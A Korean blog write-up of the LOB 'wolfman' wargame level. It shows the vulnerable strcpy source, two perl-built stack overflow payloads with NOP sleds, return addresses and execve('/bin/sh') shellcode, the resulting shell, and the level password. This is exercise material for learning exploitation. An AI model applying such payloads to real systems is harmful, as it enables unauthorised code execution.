반응형

이전레벨에 버퍼에 쉘코드를 집어넣지 않고, RETN 주소를 NOP로 우회하고 풀었었는데,

그 덕에, 이번레벨도 소스보자마자 바로풀어버렷네요 ㅋㅋ 

소스를 보면, 

[orc@localhost orc]$ cat wolfman.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - wolfman

        - egghunter + buffer hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

}

memset을 사용해서  버퍼안의 모든 값(40)을 0으로 채워버립니다. 

이전 레벨에서 만약에 버퍼에다가 쉘코드를 넣어줫엇다면 이번문제를 다시풀어야 했겟지만, 

운좋게 이전 레벨에서 만든이가 의도하지 않은 방법으로 풀어버리는 바람에 똑같은 방법으로 풀수 있었습니다. 

진행을 보면
|buffer | SFP | RETN | 

이런식이 되는데 buffer 부분에는 memset 이 걸려있기때문에 쉘코드를 넣을 수 없는 부분이 됩니다

 페이로드를 구성하면

| NOP (44) | AAA\xbf | NOP(200) | 쉘코드 |

주소따오는 방법은 이전 레벨에서  설명했으므로 생략하고, 

페이로드를 완성하면

[orc@localhost orc]$ ./wolfman `perl -e 'print "\x90"x44,"\x02\xfa\xff\xbf","\x90"x200,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

?????????????????????????????????????????????퓧???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??

                                                                                                                    것€

bash$ my-pass

euid = 505

love eyuna

쉘이 깔끔하게 따집니다 


+)복습할겸 왠만하면 다른생각을 해볼생각으로 접근해봣는데 이렇게해도 풀리네요 

[orc@localhost /tmp]$ cat wolfman.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - wolfman

        - egghunter + buffer hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

printf("Using : %p\n",argv[2]);

}


[orc@localhost /tmp]$ ./wolfman `perl -e 'print "\x90"x44,"\x2f\xfc\xff\xbf"'` `perl -e 'print "\x90"x30,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

????????????????????????????????????????????/?

Using : 0xbffffc2f

bash$ exit

exit

[orc@localhost /tmp]$ cd ~

[orc@localhost orc]$ ./wolfman `perl -e 'print "\x90"x44,"\x2f\xfc\xff\xbf"'` `perl -e 'print "\x90"x30,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

????????????????????????????????????????????/?

bash$ my-pass

euid = 505

love eyuna


반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)level7.darkelf  (0) 2014.08.11
(LOB)Level6.wolfman  (0) 2014.08.11
(LOB)Level4.goblin  (0) 2014.08.11
(LOB)Level3.Cobolt  (1) 2014.08.10
(LOB)Level2.gremlin  (0) 2014.08.08
,